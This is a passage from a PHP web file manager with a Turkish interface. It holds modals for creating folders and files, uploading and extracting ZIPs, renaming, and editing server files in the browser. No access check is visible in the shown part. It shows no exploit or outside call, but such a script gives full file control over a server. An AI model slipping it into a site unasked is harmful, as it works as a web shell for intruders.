                📁 Klasörler: <strong><?php echo $dir_count; ?></strong> | 
                📄 Dosyalar: <strong><?php echo $file_count; ?></strong> |
                📊 Toplam Boyut: <strong><?php echo formatBytes($total_size); ?></strong>
            </div>
            <div>
                📋 Toplam: <strong><?php echo count($items); ?></strong> öğe
            </div>
        </div>
    </div>
    
    <!-- Modals -->
    
    <!-- New Folder Modal -->
    <div id="newFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📁 Yeni Klasör</h3>
                <button class="modal-close" onclick="hideModal('newFolderModal')">&times;</button>
            </div>
            <form method="post">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="folderName">Klasör Adı:</label>
                        <input type="text" id="folderName" name="folder_name" required 
                               placeholder="yeni-klasor" autofocus>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('newFolderModal')">İptal</button>
                    <button type="submit" name="new_folder" value="1" class="btn btn-success">Oluştur</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Upload File Modal -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📤 Dosya Yükle</h3>
                <button class="modal-close" onclick="hideModal('uploadModal')">&times;</button>
            </div>
            <form method="post" enctype="multipart/form-data">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="uploadFile">Dosya Seçin:</label>
                        <input type="file" id="uploadFile" name="upload_file" required>
                    </div>
                    
                    <div class="upload-options">
                        <h4>ZIP Dosyası Seçenekleri</h4>
                        <div class="checkbox-group">
                            <input type="checkbox" id="extractZip" name="extract_zip" value="1">
                            <label for="extractZip">ZIP dosyasını yükleme sırasında çıkar</label>
                        </div>
                        <div class="checkbox-group">
                            <input type="checkbox" id="deleteAfterExtract" name="delete_after_extract" value="1">
                            <label for="deleteAfterExtract">Çıkarma sonrası ZIP dosyasını sil</label>
                        </div>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('uploadModal')">İptal</button>
                    <button type="submit" class="btn btn-success">Yükle</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- New File Modal -->
    <div id="newFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📄 Yeni Dosya</h3>
                <button class="modal-close" onclick="hideModal('newFileModal')">&times;</button>
            </div>
            <form method="post">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="newFilename">Dosya Adı (uzantı ile):</label>
                        <input type="text" id="newFilename" name="new_filename" required 
                               placeholder="ornek.txt, script.js, style.css">
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('newFileModal')">İptal</button>
                    <button type="submit" name="new_file" value="1" class="btn btn-success">Oluştur</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>✏️ Yeniden Adlandır</h3>
                <button class="modal-close" onclick="hideModal('renameModal')">&times;</button>
            </div>
            <form method="post">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="oldName">Mevcut Ad:</label>
                        <select id="oldName" name="old_name" required>
                            <option value="">Dosya/Klasör Seçin</option>
                            <?php foreach ($items as $item): ?>
                                <option value="<?php echo htmlspecialchars($item['name']); ?>">
                                    <?php echo htmlspecialchars($item['name']); ?> (<?php echo $item['is_dir'] ? 'Klasör' : 'Dosya'; ?>)
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="form-group">
                        <label for="newName">Yeni Ad:</label>
                        <input type="text" id="newName" name="new_name" required 
                               placeholder="yeni-dosya.txt">
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('renameModal')">İptal</button>
                    <button type="submit" name="rename_item" value="1" class="btn btn-success">Değiştir</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <?php if ($edit_file): ?>
    <div id="editFileModal" class="modal editor-modal">
        <div class="modal-content">
            <div class="editor-header">
                <h3>✏️ Düzenle: <?php echo htmlspecialchars($edit_file['name']); ?></h3>
                <button class="modal-close" onclick="hideModal('editFileModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form id="editForm" method="post">
                    <div class="form-group">
                        <textarea name="file_content" class="editor-textarea" id="fileEditor" 
                                  spellcheck="false" autocomplete="off"><?php echo htmlspecialchars($edit_file['content']); ?></textarea>
                    </div>
                    <input type="hidden" name="file_path" value="<?php echo base64_encode($edit_file['path']); ?>">
                    <input type="hidden" name="save_file" value="1">
                </form>
            </div>
            <div class="modal-footer">
                <div style="flex: 1;">
                    <span style="font-size: 12px; color: #666;">
                        📏 <?php echo number_format($edit_file['lines']); ?> satır | 
                        📊 <?php echo formatBytes($edit_file['size']); ?> | 
                        📝 .<?php echo $edit_file['ext']; ?>
                    </span>
                </div>
                <button type="button" class="btn" onclick="hideModal('editFileModal')">İptal</button>
                <button type="button" class="btn btn-success" onclick="saveFile()">Kaydet (Ctrl+S)</button>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <script>
        // Modal fonksiyonları
        function showModal(modalId) {
            document.getElementById(modalId).style.display = 'flex';
        }
        
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Modal dışına tıklanınca kapat
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }
        
        // Escape tuşu ile kapat
        document.addEventListener('keydown', function(event) {
            if (event.key === 'Escape') {
                document.querySelectorAll('.modal').forEach(modal => {
                    modal.style.display = 'none';
                });
            }
            
            // CTRL+S ile dosya kaydetme
            if (event.ctrlKey && event.key === 's') {
                event.preventDefault();
                const editModal = document.getElementById('editFileModal');
                if (editModal && editModal.style.display === 'flex') {
                    saveFile();
                }
            }
        });
        
        // ZIP çıkarma seçeneklerini yönet
        const extractCheckbox = document.getElementById('extractZip');
        const deleteCheckbox = document.getElementById('deleteAfterExtract');
        
        if (extractCheckbox && deleteCheckbox) {
            extractCheckbox.addEventListener('change', function() {
                deleteCheckbox.disabled = !this.checked;
                if (!this.checked) {
                    deleteCheckbox.checked = false;
                }
            });
            
            deleteCheckbox.disabled = !extractCheckbox.checked;
        }
        
        // Editör yüksekliği ayarla
        <?php if ($edit_file): ?>
        window.onload = function() {
            const editor = document.getElementById('fileEditor');
            if (editor) {
                // Editör yüksekliğini ayarla
                editor.style.height = '450px';
                
                // Editör'e focus
                setTimeout(() => {
                    editor.focus();
                    editor.setSelectionRange(0, 0);
                }, 100);
                
                // Editör modalını göster
                showModal('editFileModal');
            }
        };
        <?php endif; ?>
        
        // Dosya kaydetme
        function saveFile() {
            const form = document.getElementById('editForm');
            if (!form) return;
            
            const formData = new FormData(form);
            
            fetch(window.location.href, {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'success') {
                    alert('✅ ' + data.message + ' - ' + data.timestamp);
                    hideModal('editFileModal');
                    setTimeout(() => {
                        location.reload();
                    }, 1000);
                } else {
                    alert('❌ ' + data.message);
                }
            })
            .catch(error => {
                alert('❌ Kaydetme hatası: ' + error.message);
            });
        }
        
        // Mesajları otomatik kapat
        setTimeout(function() {
            const messages = document.querySelectorAll('.message');
            messages.forEach(msg => {
                msg.style.opacity = '0';
                setTimeout(() => msg.style.display = 'none', 500);
            });
        }, 5000);
        
        // Sayfa yüklendiğinde edit modalını göster
        <?php if ($edit_file): ?>
        document.addEventListener('DOMContentLoaded', function() {
            setTimeout(() => {
                showModal('editFileModal');
            }, 300);
        });
        <?php endif; ?>
    </script>
</body>
</html>

<?php
// Yardımcı fonksiyon: bayt formatlama
function formatBytes($bytes, $precision = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    
    $bytes /= (1 << (10 * $pow));
    
    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>